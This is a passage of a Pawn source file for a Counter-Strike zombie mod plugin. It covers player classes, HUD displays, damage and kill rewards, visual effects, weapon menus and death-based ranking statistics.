5606 g_bFrozen[iPlayer] = false;
5607 g_iBurningDuration[iPlayer] = 0;
5608 drop_weapons ( iPlayer, 1 );
5609 drop_weapons ( iPlayer, 2 );
5610 g_iPlayerType[iPlayer] = 0;
5611 g_cClass[iPlayer] = "Human";
5612 give_item(iPlayer, "weapon_knife");
5613 strip_user_weapons(iPlayer);
5614
5615 if (bSurvivor)
5616 {
5617 g_iPlayerType[iPlayer] |= 4;
5618 g_cClass[iPlayer] = "Survivor";
5619 set_user_health(iPlayer, 3000);
5620 give_item(iPlayer, "weapon_ak47");
5621 cs_set_user_bpammo(iPlayer, 28, 9999);
5622 give_item(iPlayer, "weapon_xm1014");
5623 cs_set_user_bpammo(iPlayer, 5, 9999);
5624 give_item(iPlayer, "weapon_knife");
5625 g_bUnlimitedClip[iPlayer] = 1;
5626 if (!user_has_weapon(iPlayer, 4, -1))
5627 {
5628 give_item(iPlayer, "weapon_hegrenade");
5629 }
5630 }
5631 else if (bSniper)
5632 {
5633 g_iPlayerType[iPlayer] |= 8;
5634 g_cClass[iPlayer] = "Sniper";
5635 set_user_health(iPlayer, 2500);
5636 give_item(iPlayer, "weapon_awp");
5637 cs_set_user_bpammo(iPlayer, 18, 9999);
5638 give_item(iPlayer, "weapon_knife");
5639 g_bUnlimitedClip[iPlayer] = 1;
5640 }
5641 else
5642 {
5643 set_user_health(iPlayer, 150);
5644 give_item(iPlayer, "weapon_knife");
5645 menu_display(iPlayer, g_iSecondaryMenu, 0);
5646 client_cmd(iPlayer, "spk ZombieOutstanding/antidote");
5647 set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
5648 ShowSyncHudMsg(iPlayer, g_iAntidoteSync, "%s has used an antidote!", g_cName[iPlayer]);
5649 }
5650 if (fm_cs_get_user_team(iPlayer) != FM_CS_TEAM_CT)
5651 {
5652 remove_task (iPlayer + TASK_TEAM);
5653 fm_cs_set_user_team (iPlayer, FM_CS_TEAM_CT);
5654 fm_user_team_update (iPlayer);
5655 }
5656 static Float:fCurrentTime;
5657 fCurrentTime = get_gametime();
5658 if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
5659 {
5660 ChangeModel(iPlayer + 250);
5661 g_fLastChangedModel = fCurrentTime;
5662 }
5663 else
5664 {
5665 set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
5666 g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
5667 }
5668 ExecuteHamB(Ham_Item_PreFrame, iPlayer);
5669 return 0;
5670}
5671
5672public MessageScenario()
5673{
5674 if (get_msg_args() > 1)
5675 {
5676 new cSprite[8];
5677 get_msg_arg_string(2, cSprite, charsmax(cSprite));
5678 if (equal(cSprite, "hostage"))
5679 {
5680 return 1;
5681 }
5682 }
5683 return 0;
5684}
5685public MessageHostagepos()
5686{
5687 return 1;
5688}
5689
5690AddCommas ( iNum , szOutput[] , iLen )
5691{
5692 new szTmp [17] , iOutputPos , iNumPos , iNumLen;
5693
5694 iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );
5695
5696 if ( iNumLen <= 3 )
5697 {
5698 iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
5699 }
5700 else
5701 {
5702 while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) )
5703 {
5704 szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];
5705
5706 if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) )
5707
5708 szOutput[ iOutputPos++ ] = ',';
5709 }
5710
5711 szOutput[ iOutputPos ] = EOS;
5712 }
5713 return iOutputPos;
5714}
5715
5716public MessageHealth(iMessage, iDestination, iEntity)
5717{
5718 static iHealth;
5719 iHealth = get_msg_arg_int(1);
5720 if (iHealth > 255)
5721 {
5722 if (!(iHealth % 256))
5723 {
5724 set_user_health(iEntity, get_user_health(iEntity) + 1);
5725 }
5726 set_msg_arg_int(1, get_msg_argtype(1), 255);
5727 }
5728 return 0;
5729}
5730
5731
5732public TaskRemoveMadness(iPlayer)
5733{
5734 set_user_rendering( iPlayer, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5735}
5736
5737public MessageMoney(iMessage, iDestination, iPlayer)
5738{
5739 if (g_bConnected[iPlayer])
5740 {
5741 cs_set_user_money ( iPlayer, 0 );
5742 }
5743 return 1;
5744}
5745
5746public CmdDrop(iPlayer)
5747{
5748 if (g_bConnected[iPlayer])
5749 {
5750 if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
5751 {
5752 user_drop_jetpack(iPlayer, 1);
5753 return 1;
5754 }
5755 if (g_iPlayerType[iPlayer])
5756 {
5757 return 1;
5758 }
5759 }
5760 return 0;
5761}
5762
5763public CmdJoinTeam(iPlayer)
5764{
5765 static curTeam; curTeam = fm_cs_get_user_team ( iPlayer );
5766
5767 if (curTeam == FM_CS_TEAM_SPECTATOR || curTeam == FM_CS_TEAM_UNASSIGNED)
5768 {
5769 return PLUGIN_CONTINUE;
5770 }
5771
5772 menu_display(iPlayer, g_iGameMenu);
5773
5774 return PLUGIN_HANDLED;
5775}
5776
5777public EventStatusValue(iPlayer)
5778{
5779 if (g_bConnected[iPlayer])
5780 {
5781 static cPoints[15];
5782 static cPacks[15];
5783 static cHealth[15];
5784 static iVictim;
5785 iVictim = read_data(2);
5786 if (g_bZombie[iVictim] == g_bZombie[iPlayer])
5787 {
5788 AddCommas(get_user_health(iVictim), cHealth, 14);
5789 AddCommas(g_iPacks[iVictim], cPacks, 14);
5790 AddCommas(g_iPoints[iVictim], cPoints, 14);
5791 new color1;
5792 if (g_bZombie[iPlayer])
5793 {
5794 color1 = 0;
5795 }
5796 else
5797 {
5798 color1 = 255;
5799 }
5800 new color2;
5801 if (g_bZombie[iPlayer])
5802 {
5803 color2 = 255;
5804 }
5805 else
5806 {
5807 color2 = 0;
5808 }
5809 set_hudmessage(color2, 50, color1, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
5810 ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_user_armor(iVictim), cPacks, cPoints);
5811 }
5812 if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
5813 {
5814 AddCommas(get_user_health(iVictim), cHealth, 14);
5815 set_hudmessage(175, 1, 30, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
5816 ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
5817 }
5818 }
5819 return 0;
5820}
5821
5822public TaskAdvertisements()
5823{
5824 set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
5825 if (g_iMessage >= g_iAdvertisementsCount)
5826 {
5827 g_iMessage = 0;
5828 }
5829 client_print_color(0, print_team_grey, g_cAdvertisements[g_iMessage]);
5830 g_iMessage += 1;
5831 return 0;
5832}
5833
5834public TaskHudXYZ()
5835{
5836 if (g_iHudMessage >= g_iHudAdvertisementsCount)
5837 {
5838 g_iHudMessage = 0;
5839 }
5840 set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
5841 show_hudmessage(0, g_cHudAdvertisements[g_iHudMessage]);
5842 g_iHudMessage += 1;
5843 return 0;
5844}
5845
5846public EventStatusValueHide(iPlayer)
5847{
5848 ClearSyncHud(iPlayer, g_iCenterMessageSync);
5849 return 0;
5850}
5851
5852public TaskHud(iTask)
5853{
5854 static cPoints[15];
5855 static cPacks[15];
5856 static cHealth[15];
5857 static iPlayer;
5858 iPlayer = iTask + -300;
5859 if (!g_bAlive[iPlayer])
5860 {
5861 iPlayer = pev ( iPlayer, pev_iuser2 );
5862 if (!g_bAlive[iPlayer])
5863 {
5864 return 0;
5865 }
5866 }
5867 if (iTask + -300 != iPlayer)
5868 {
5869 AddCommas(get_user_health(iPlayer), cHealth, 14);
5870 AddCommas(g_iPacks[iPlayer], cPacks, 14);
5871 AddCommas(g_iPoints[iPlayer], cPoints, 14);
5872 set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
5873 ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s^n %s, Health: %s Armor: %d Packs: %s Points: %s^nFrom: %s, %s", g_vip[iPlayer] ? "(Gold Member ®)" : "", g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_user_armor(iPlayer), cPacks, cPoints, g_country[iPlayer], g_city[iPlayer]);
5874 }
5875 else
5876 {
5877 AddCommas(get_user_health(iTask + -300), cHealth, 14);
5878 AddCommas(g_iPacks[iTask + -300], cPacks, 14);
5879 AddCommas(g_iPoints[iTask + -300], cPoints, 14);
5880 new color3;
5881 if (g_bZombie[iTask + -300])
5882 {
5883 color3 = 60;
5884 }
5885 else
5886 {
5887 color3 = 180;
5888 }
5889 new color4;
5890 if (g_bZombie[iTask + -300])
5891 {
5892 color4 = 135;
5893 }
5894 else
5895 {
5896 color4 = 120;
5897 }
5898 new color5;
5899 if (g_bZombie[iTask + -300])
5900 {
5901 color5 = 180;
5902 }
5903 else
5904 {
5905 color5 = 0;
5906 }
5907 set_hudmessage(color5, color4, color3, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
5908 ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s Armor: %d Packs: %s Points: %s", g_cClass[iTask + -300], cHealth, get_user_armor(iTask + -300), cPacks, cPoints);
5909 }
5910 TaskReward [iTask + -300] --;
5911
5912 if ( TaskReward [iTask + -300] == 0 )
5913 {
5914 TaskReward [iTask + -300] = 600;
5915
5916 client_print_color ( iTask + -300, print_team_grey, "^4[Zombie Outstanding]^1 You played^4 +10 minutes^1 then you receive^4 4^1 packs!");
5917
5918 g_iPacks [iTask + -300] += 4;
5919 }
5920 return 0;
5921}
5922
5923public TaskRemoveRender(i)
5924{
5925 set_user_rendering( i, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5926}
5927
5928public OnTouch(iWeapon, id)
5929{
5930 if ( !is_user_valid_connected ( id ) ) return HAM_IGNORED;
5931
5932 if ( g_bZombie [id] || ( ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8) && !g_bFake [id] ) ) return HAM_SUPERCEDE;
5933
5934 return HAM_IGNORED;
5935}
5936
5937public CmdNightVision(iPlayer)
5938{
5939 if (g_bFlash[iPlayer])
5940 {
5941 static Float:fCurrentTime;
5942 fCurrentTime = get_gametime();
5943 if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.50)
5944 {
5945 return 1;
5946 }
5947 g_fLastTime[iPlayer] = fCurrentTime;
5948 g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
5949 remove_task(iPlayer + 350, 0);
5950 if (g_bFlashEnabled[iPlayer])
5951 {
5952 set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
5953 }
5954 }
5955 return 1;
5956}
5957
5958public TaskCheckFlash(iPlayer)
5959{
5960 if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
5961 {
5962 return 0;
5963 }
5964 g_bFlashEnabled[iPlayer] = true;
5965 g_bFlash[iPlayer] = true;
5966 remove_task(iPlayer + 350, 0);
5967 set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
5968 return 0;
5969}
5970
5971public TaskFlash(iTask)
5972{
5973 new id = iTask + -350;
5974 static origin [3]; get_user_origin ( id, origin );
5975 message_begin ( MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, id );
5976 write_byte ( TE_DLIGHT );
5977 write_coord ( origin [0] );
5978 write_coord ( origin [1] );
5979 write_coord ( origin [2] );
5980 write_byte ( 90 );
5981 write_byte ( 0 );
5982 write_byte ( 160 );
5983 write_byte ( 100 );
5984 write_byte ( 2 );
5985 write_byte ( 0 );
5986 message_end ( );
5987}
5988
5989InfectionEffects ( id )
5990{
5991 static Origin [3]; get_user_origin ( id, Origin );
5992
5993 if ( !g_bFrozen [id] )
5994 {
5995 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
5996 write_short(4096)
5997 write_short(2048)
5998 write_short(0)
5999 write_byte(255)
6000 write_byte(0)
6001 write_byte(0)
6002 write_byte(255)
6003 message_end()
6004 }
6005
6006 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("Damage"), _, id)
6007 write_byte(0)
6008 write_byte(0)
6009 write_long(DMG_NERVEGAS)
6010 write_coord(0)
6011 write_coord(0)
6012 write_coord(0)
6013 message_end()
6014
6015 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenShake"), _, id)
6016 write_short(150000)
6017 write_short(25000)
6018 write_short(135000)
6019 message_end()
6020
6021 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6022 write_byte ( TE_IMPLOSION );
6023 write_coord ( Origin [0] );
6024 write_coord ( Origin [1] );
6025 write_coord ( Origin[2] );
6026 write_byte ( 150 );
6027 write_byte ( 32 );
6028 write_byte ( 3 );
6029 message_end ( );
6030
6031 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6032 write_byte ( TE_PARTICLEBURST );
6033 write_coord ( Origin [0] );
6034 write_coord ( Origin [1] );
6035 write_coord ( Origin [2] );
6036 write_short ( 50 );
6037 write_byte ( 70 );
6038 write_byte ( 3 );
6039 message_end ( );
6040
6041 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6042 write_byte ( TE_DLIGHT );
6043 write_coord ( Origin [0] );
6044 write_coord ( Origin [1] );
6045 write_coord ( Origin [2] );
6046 write_byte ( 20 );
6047 write_byte ( 240 );
6048 write_byte ( 0 );
6049 write_byte ( 0 );
6050 write_byte ( 2 );
6051 write_byte ( 0 );
6052 message_end ( );
6053}
6054
6055public TaskBurn ( iTask )
6056{
6057 static origin [3], flags;
6058 static iPlayer;
6059 iPlayer = iTask + -200;
6060 get_user_origin ( iPlayer, origin );
6061 flags = pev ( iPlayer, pev_flags );
6062
6063 if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
6064 {
6065 message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );
6066 write_byte ( TE_SMOKE );
6067 write_coord ( origin [0] );
6068 write_coord ( origin [1] );
6069 write_coord ( origin [2] - 50 );
6070 write_short ( SmokeSpr );
6071 write_byte ( random_num (15, 20) );
6072 write_byte ( random_num (10, 20) );
6073 message_end ( );
6074
6075 remove_task(iTask, 0);
6076
6077 return;
6078 }
6079
6080 if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
6081 {
6082 client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
6083 }
6084
6085 if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
6086 {
6087 static Float: velocity [3];
6088
6089 pev ( iPlayer, pev_velocity, velocity );
6090
6091 xs_vec_mul_scalar ( velocity, 1.0, velocity );
6092
6093 set_pev ( iPlayer, pev_velocity, velocity );
6094 }
6095
6096 static health;
6097
6098 health = pev ( iPlayer, pev_health );
6099
6100 if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
6101
6102 fm_set_user_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
6103
6104 message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );
6105
6106 write_byte ( TE_SPRITE );
6107
6108 write_coord ( origin [0] + random_num (-5, 5) );
6109
6110 write_coord ( origin [1] + random_num (-5, 5) );
6111
6112 write_coord ( origin [2] + random_num (-10, 10) );
6113
6114 write_short ( FlameSpr );
6115
6116 write_byte ( random_num (5, 10) );
6117
6118 write_byte ( 200 );
6119
6120 message_end ( );
6121
6122 g_iBurningDuration [iPlayer]--
6123}
6124
6125public ScreenShakeEffect ( id, const Float: Seconds )
6126{
6127 message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), {0, 0, 0}, id )
6128 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6129 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6130 write_short ( 1<<13 );
6131 message_end ( );
6132}
6133
6134public ScreenFadeEffect ( id, const Float: Seconds, const Red, const Green, const Blue, const Alpha )
6135{
6136 message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, id );
6137 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6138 write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
6139 write_short ( 0x0000 );
6140 write_byte ( Red );
6141 write_byte ( Green );
6142 write_byte ( Blue );
6143 write_byte ( Alpha );
6144 message_end ( );
6145}
6146
6147public _SecondaryMenu(iPlayer, iMenu, iItem)
6148{
6149 if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
6150 {
6151 static iChoice;
6152 static iDummy;
6153 static cBuffer[3];
6154 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
6155 iChoice = str_to_num(cBuffer);
6156 drop_weapons(iPlayer, 2)
6157 give_item(iPlayer, g_cSecondaryEntities[iChoice]);
6158 cs_set_user_bpammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
6159 menu_display(iPlayer, g_iPrimaryMenu, 0);
6160 }
6161 return 0;
6162}
6163
6164public _PrimaryMenu(iPlayer, iMenu, iItem)
6165{
6166 if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
6167 {
6168 static iChoice;
6169 static iDummy;
6170 static cBuffer[3];
6171 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
6172 iChoice = str_to_num(cBuffer);
6173 drop_weapons(iPlayer, 1)
6174 give_item(iPlayer, g_cPrimaryEntities[iChoice]);
6175 cs_set_user_bpammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
6176 if (!user_has_weapon(iPlayer, 4, -1))
6177 {
6178 give_item(iPlayer, "weapon_hegrenade");
6179 }
6180 if (!user_has_weapon(iPlayer, 25, -1))
6181 {
6182 give_item(iPlayer, "weapon_flashbang");
6183 }
6184 if (!user_has_weapon(iPlayer, 9, -1))
6185 {
6186 give_item(iPlayer, "weapon_smokegrenade");
6187 }
6188 }
6189 return 0;
6190}
6191
6192public TaskShowMenu(iPlayer)
6193{
6194 if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
6195 {
6196 menu_display(iPlayer, g_iSecondaryMenu, 0);
6197 }
6198 return 0;
6199}
6200
6201stock drop_weapons ( id, dropwhat )
6202{
6203 static Weapons [32], Num, i, WeaponID;
6204
6205 Num = 0;
6206
6207 get_user_weapons ( id, Weapons, Num );
6208
6209 for ( i = 0; i < Num; i ++ )
6210 {
6211 WeaponID = Weapons [i];
6212
6213 if ( ( dropwhat == 1 && ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM ) ) || ( dropwhat == 2 && ( ( 1 << WeaponID ) & SECONDARY_WEAPONS_BIT_SUM ) ) )
6214 {
6215 static DropName [32], WeaponEntity;
6216
6217 get_weaponname ( WeaponID, DropName, charsmax ( DropName ) );
6218
6219 WeaponEntity = fm_find_ent_by_owner ( -1, DropName, id );
6220
6221 set_pev ( WeaponEntity, pev_iuser1, cs_get_user_bpammo ( id, WeaponID ) );
6222
6223 engclient_cmd ( id, "drop", DropName );
6224
6225 cs_set_user_bpammo ( id, WeaponID, 0 );
6226 }
6227 }
6228}
6229
6230public OnTakeDamagePost(Victim)set_pdata_float(Victim, 108, 1.0, 5);
6231
6232public OnTakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
6233{
6234 if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return HAM_IGNORED;
6235
6236 if ( g_bRoundStart || g_bRoundEnd ) return HAM_SUPERCEDE;
6237
6238 if ( g_bNoDamage [Victim] ) return HAM_SUPERCEDE;
6239
6240 if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return HAM_SUPERCEDE;
6241
6242 if (!g_bZombie[Attacker])
6243 {
6244 if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
6245 {
6246 Damage = 3000.0;
6247 SetHamParamFloat(4, Damage);
6248 }
6249 else
6250 {
6251 if (g_iPlayerType[Attacker])
6252 {
6253 Damage *= 0.75;
6254 SetHamParamFloat(4, Damage);
6255 }
6256 if (g_bDoubleDamage[Attacker])
6257 {
6258 Damage *= 2.0;
6259 SetHamParamFloat(4, Damage);
6260 }
6261 if (((g_iWeapon[Attacker] == 28 && g_bGolden[Attacker]) || (g_iWeapon[Attacker] == 26 && g_bGoldenDeagle[Attacker])))
6262 {
6263 Damage *= 2.0;
6264 SetHamParamFloat(4, Damage);
6265 }
6266 g_fDamage[Attacker] += floatround(Damage);
6267 while (g_fDamage[Attacker] > 500.0)
6268 {
6269 g_iPacks[Attacker]++;
6270 g_fDamage[Attacker] -= 500.0;
6271 }
6272 if (++g_iPosition[Attacker] == 8)
6273 {
6274 g_iPosition[Attacker] = 0;
6275 }
6276 set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[Attacker]][0], g_flCoords[g_iPosition[Attacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
6277 show_hudmessage(Attacker, "%0.0f", Damage);
6278 }
6279 return 1;
6280 }
6281
6282 if ( DamageType & 1<<24 ) return HAM_SUPERCEDE;
6283
6284 if ( g_iPlayerType[Attacker] & 1 )
6285 {
6286 if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
6287
6288 return HAM_IGNORED;
6289 }
6290 else if ( g_iPlayerType[Attacker] & 2 )
6291 {
6292 if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
6293
6294 return HAM_IGNORED;
6295 }
6296
6297 if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1) return HAM_IGNORED;
6298
6299 static Float: Armor; pev ( Victim, pev_armorvalue, Armor );
6300
6301 if ( Armor > 0.0 )
6302 {
6303 client_cmd(Victim, "spk ZombieOutstanding/armor_hit");
6304
6305 set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );
6306
6307 return HAM_SUPERCEDE;
6308 }
6309 MakeZombie(Attacker, Victim, false, false, false);
6310 savePoints(Attacker)
6311 return HAM_SUPERCEDE;
6312}
6313
6314public OnKilled ( Victim, Attacker, shouldgib )
6315{
6316 g_bKilling[Victim] = false;
6317 g_bFlash[Victim] = true;
6318 g_bFlashEnabled[Victim] = true;
6319 g_bFrozen[Victim] = false;
6320 g_bTryder[Victim] = false;
6321 g_bGoldenDeagle[Victim] = false;
6322 g_bGolden[Victim] = false;
6323 g_bUnlimitedClip[Victim] = 0;
6324 remove_task(Victim + 350, 0);
6325 g_bAlive[Victim] = false;
6326 if ( g_bZombie [Victim] || !g_bZombie [Victim] )
6327 {
6328 remove_task(Victim + 200, 0);
6329 }
6330
6331 if (!g_bZombie[Attacker])
6332 {
6333 if (g_iPlayerType[Attacker] & 8)
6334 {
6335 static Origin [3]; get_user_origin ( Victim, Origin );
6336 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6337 write_byte ( TE_LAVASPLASH ) ;
6338 write_coord ( Origin [0] );
6339 write_coord ( Origin [1] );
6340 write_coord ( Origin [2] - 26 );
6341 message_end ( );
6342 if (random_num(1, 4) == 1)
6343 {
6344 g_iPoints[Attacker] += 1;
6345 savePoints(Attacker)
6346 set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
6347 ShowSyncHudMsg(Attacker, g_iRegenerationSync, "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
6348 }
6349 }
6350 else
6351 {
6352 g_iPacks[Attacker]++;
6353 if (g_iPlayerType[Attacker])
6354 {
6355 g_iPoints[Attacker]++;
6356 savePoints(Attacker)
6357 }
6358 else
6359 {
6360 g_iPoints[Attacker] += 2;
6361 savePoints(Attacker)
6362 }
6363 remove_task(Victim + 200, 0);
6364 }
6365 if (g_iPlayerType[Attacker])
6366 {
6367 SetHamParamInteger(3, 2);
6368 }
6369 }
6370 else
6371 {
6372 g_iPacks[Attacker] += 2;
6373 if (g_iPlayerType[Attacker])
6374 {
6375 g_iPoints[Attacker]++;
6376 savePoints(Attacker)
6377 }
6378 if (g_iZombieClass[Attacker] == 6 && g_iPlayerType[Attacker])
6379 {
6380 SetHamParamInteger(3, 2);
6381 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, Attacker)
6382 write_short(4096)
6383 write_short(2048)
6384 write_short(0)
6385 write_byte(255)
6386 write_byte(0)
6387 write_byte(0)
6388 write_byte(255)
6389 message_end()
6390 }
6391 if (g_iPlayerType[Attacker])
6392 {
6393 SetHamParamInteger(3, 2);
6394 }
6395 }
6396 g_iKillsThisRound[Attacker]++;
6397 savePoints(Attacker)
6398 return;
6399}
6400
6401public inforem()
6402{
6403 if (g_bRoundStart) return
6404
6405 new z = GetZombies()
6406 new h = GetHumans()
6407
6408 if (z == 1 && h == 1)
6409 {
6410 new lasthuman = GetLastHuman()
6411 new lastzombie = GetLastZombie()
6412
6413 if (lasthuman != -1 && lastzombie != -1)
6414 {
6415 new zname[32], hname[32]
6416 get_user_name(lasthuman, hname, 31)
6417 get_user_name(lastzombie, zname, 31)
6418
6419 set_hudmessage(150, 150, 150, 0.69, 0.68, 0, 6.0, 2.0, 0.1, 0.2, -1)
6420 ShowSyncHudMsg(0, g_iVersusSync, "%s VS %s", hname, zname)
6421 }
6422
6423 return
6424 }
6425
6426 if (z == h || !z || !h) return
6427
6428 if (z < h)
6429 {
6430 if (z <= 8)
6431 {
6432 set_hudmessage(150, 150, 150, 0.78, 0.68, 2, 6.0, 1.0, 0.1, 0.2, -1)
6433 ShowSyncHudMsg(0, g_iRemainingSync, "%d zombie%s remaining...", z, z==1?"":"s")
6434 }
6435 }
6436
6437 else if (z > h)
6438 {
6439 if (h <= 8)
6440 {
6441 set_hudmessage(150, 150, 150, 0.78, 0.68, 2, 6.0, 1.0, 0.1, 0.2, -1)
6442 ShowSyncHudMsg(0, g_iRemainingSync, "%d human%s remaining...", h, h==1?"":"s")
6443 }
6444 }
6445}
6446
6447public OnDeathMsg()
6448{
6449 static Killer = 0, Victim = 0, bool:headShot = false, Weapon[64] = { 0, ... }, \
6450 victimIp[64] = { 0, ... }, killerIp[64] = { 0, ... }, timeNow = 0, bool:killerValid = false, \
6451 bool:victimValid = false, bool:victimBOT = false, bool:killerBOT = false;
6452
6453 Killer = read_data(1);
6454 Victim = read_data(2);
6455 headShot = bool:read_data(3);
6456 read_data(4, Weapon, charsmax(Weapon));
6457 ucfirst(Weapon);
6458 timeNow = get_systime();
6459 killerValid = isValidPlayer(Killer);
6460 victimValid = isValidPlayer(Victim);
6461 killerBOT = killerValid && is_user_bot(Killer) ? true : false;
6462 victimBOT = victimValid && is_user_bot(Victim) ? true : false;
6463
6464 if (Killer == Victim && killerValid && !killerBOT)
6465 {
6466 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6467
6468 g_Deaths[Victim]++;
6469 g_Seen[Victim] = timeNow;
6470 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6471 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6472 g_Score[Victim] -= 5;
6473 g_kpdRatio[Victim] = computeKpdRatio(Victim);
6474 g_kmdValue[Victim] = computeKmdValue(Victim);
6475
6476 updateRank(Victim);
6477 }
6478
6479 else if (victimValid && !victimBOT && !killerBOT && (!killerValid || equali(Weapon, "World", 5)))
6480 {
6481 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6482
6483 g_Deaths[Victim]++;
6484 g_Seen[Victim] = timeNow;
6485 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6486 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6487 g_Score[Victim] -= 5;
6488 g_kpdRatio[Victim] = computeKpdRatio(Victim);
6489 g_kmdValue[Victim] = computeKmdValue(Victim);
6490
6491 updateRank(Victim);
6492 }
6493
6494 else if (killerValid && victimValid && !killerBOT && !victimBOT)
6495 {
6496 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6497 get_user_ip(Killer, killerIp, charsmax(killerIp), 1);
6498
6499 g_Deaths[Victim]++;
6500 g_Kills[Killer]++;
6501
6502 if (headShot)
6503 {
6504 g_headShots[Killer]++;
6505
6506 g_Score[Killer] += 10;
6507 }
6508
6509 else
6510 {
6511 g_Score[Killer] += 5;
6512 }
6513
6514 g_Seen[Victim] = timeNow;
6515 g_Seen[Killer] = timeNow;
6516 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6517 format_time(g_seenString[Killer], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6518 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6519 formatex(g_Ip[Killer], charsmax(g_Ip), "%s", killerIp);
6520 g_Score[Victim] -= 3;
